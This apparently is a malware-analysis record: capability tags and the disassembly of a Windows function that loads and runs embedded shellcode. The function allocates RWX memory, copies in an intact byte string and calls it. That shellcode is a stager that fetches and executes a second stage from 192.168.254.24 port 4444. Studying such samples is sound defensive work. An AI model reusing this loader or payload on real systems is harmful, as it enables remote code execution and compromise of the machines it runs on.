Function at 0x1c44b1380
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0xa31
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [0x1c44bc020], rax
mov rax, qword [0x1c44bc020]
test rax, rax
jne 0x1c44b13e4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_create_mutex___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x1c44b14e3
mov rax, qword [0x1c44bc020]
mov edx, 0x1388
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0x102
jne 0x1c44b1421
lea rax, str.Timeout_while_waiting_for_mutex_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x1c44b14e3
cmp dword [rbp - 0xc], 0
je 0x1c44b144b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_wait_for_mutex___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 1
jmp 0x1c44b14e3
mov rax, qword [rbp - 8]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1c44b14ab
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_allocate_memory___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [0x1c44bc020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call rax
mov eax, 1
jmp 0x1c44b14e3
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r8, rdx
lea rdx, str._xfc_x48_x83_xe4_xf0_xe8_xcc_x00_x00_x00_x41_x51_x41_x50_x52_x51_x48_x31_xd2_x65_x48_x8b_x52_x60_x56_x48_x8b_x52_x18_x48_x8b_x52_x20_x48_x0f_xb7_x4a_x4a_x48_x8b_x72_x50_x4d_x31_xc9_x48_x31_xc0_xac_x3c_x61_x7c_x02_x2c_x20_x41_xc1_xc9_x0d_x41_x01_xc1_xe2_xed_x52_x41_x51_x48_x8b_x52_x20_x8b_x42_x3c_x48_x01_xd0_x66_x81_x78_x18_x0b_x02_x0f_x85_x72_x00_x00_x00_x8b_x80_x88_x00_x00_x00_x48_x85_xc0_x74_x67_x48_x01_xd0_x8b_x48_x18_x44_x8b_x40_x20_x49_x01_xd0_x50_xe3_x56_x48_xff_xc9_x41_x8b_x34_x88_x4d_x31_xc9_x48_x01_xd6_x48_x31_xc0_x41_xc1_xc9_x0d_xac_x41_x01_xc1_x38_xe0_x75_xf1_x4c_x03_x4c_x24_x08_x45_x39_xd1_x75_xd8_x58_x44_x8b_x40_x24_x49_x01_xd0_x66_x41_x8b_x0c_x48_x44_x8b_x40_x1c_x49_x01_xd0_x41_x8b_x04_x88_x48_x01_xd0_x41_x58_x41_x58_x5e_x59_x5a_x41_x58_x41_x59_x41_x5a_x48_x83_xec_x20_x41_x52_xff_xe0_x58_x41_x59_x5a_x48_x8b_x12_xe9_x4b_xff_xff_xff_x5d_x48_x31_xdb_x53_x49_xbe_x77_x69_x6e_x69_x6e_x65_x74_x00_x41_x56_x48_x89_xe1_x49_xc7_xc2_x4c_x77_x26_x07_xff_xd5_x53_x53_x48_x89_xe1_x53_x5a_x4d_x31_xc0_x4d_x31_xc9_x53_x53_x49_xba_x3a_x56_x79_xa7_x00_x00_x00_x00_xff_xd5_xe8_x0f_x00_x00_x00_x31_x39_x32_x2e_x31_x36_x38_x2e_x32_x35_x34_x2e_x32_x34_x00_x5a_x48_x89_xc1_x49_xc7_xc0_x5c_x11_x00_x00_x4d_x31_xc9_x53_x53_x6a_x03_x53_x49_xba_x57_x89_x9f_xc6_x00_x00_x00_x00_xff_xd5_xe8_x61_x00_x00_x00_x2f_x64_x6c_x6c_x2f_x73_x69_x64_x65_x6c_x6f_x61_x64_x2f_x56_x7a_x61_x75_x4b_x6d_x78_x62_x31_x46_x54_x77_x4e_x66_x45_x33_x6c_x7a_x34_x58_x79_x41_x35_x6f_x69_x63_x45_x63_x4c_x4a_x46_x45_x6d_x37_x2d_x7a_x74_x78_x6e_x52_x56_x75_x32_x5f_x70_x31_x59_x44_x51_x63_x77_x5f_x6d_x6c_x67_x61_x6c_x41_x44_x67_x79_x63_x6f_x77_x36_x67_x69_x2d_x34_x37_x6b_x66_x5a_x61_x58_x41_x54_x34_x30_x59_x35_x72_x00_x48_x89_xc1_x53_x5a_x41_x58_x4d_x31_xc9_x53_x48_xb8_x00_x32_xa8_x84_x00_x00_x00_x00_x50_x53_x53_x49_xc7_xc2_xeb_x55_x2e_x3b_xff_xd5_x48_x89_xc6_x6a_x0a_x5f_x48_x89_xf1_x6a_x1f_x5a_x52_x68_x80_x33_x00_x00_x49_x89_xe0_x6a_x04_x41_x59_x49_xba_x75_x46_x9e_x86_x00_x00_x00_x00_xff_xd5_x4d_x31_xc0_x53_x5a_x48_x89_xf1_x4d_x31_xc9_x4d_x31_xc9_x53_x53_x49_xc7_xc2_x2d_x06_x18_x7b_xff_xd5_x85_xc0_x75_x1f_x48_xc7_xc1_x88_x13_x00_x00_x49_xba_x44_xf0_x35_xe0_x00_x00_x00_x00_xff_xd5_x48_xff_xcf_x74_x02_xeb_xaa_xe8_x55_x00_x00_x00_x53_x59_x6a_x40_x5a_x49_x89_xd1_xc1_xe2_x10_x49_xc7_xc0_x00_x10_x00_x00_x49_xba_x58_xa4_x53_xe5_x00_x00_x00_x00_xff_xd5_x48_x93_x53_x53_x48_x89_xe7_x48_x89_xf1_x48_x89_xda_x49_xc7_xc0_x00_x20_x00_x00_x49_x89_xf9_x49_xba_x12_x96_x89_xe2_x00_x00_x00_x00_xff_xd5_x48_x83_xc4_x20_x85_xc0_x74_xb2_x66_x8b_x07_x48_x01_xc3_x85_xc0_x75_xd2_x58_xc3_x58_x6a_x00_x59_xbb_xe0_x1d_x2a_x0a_x41_x89_xda_xff_xd5
mov rcx, rax
call sym.memmove
mov rax, qword [rbp - 0x18]
call rax
mov rax, qword [0x1c44bc020]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret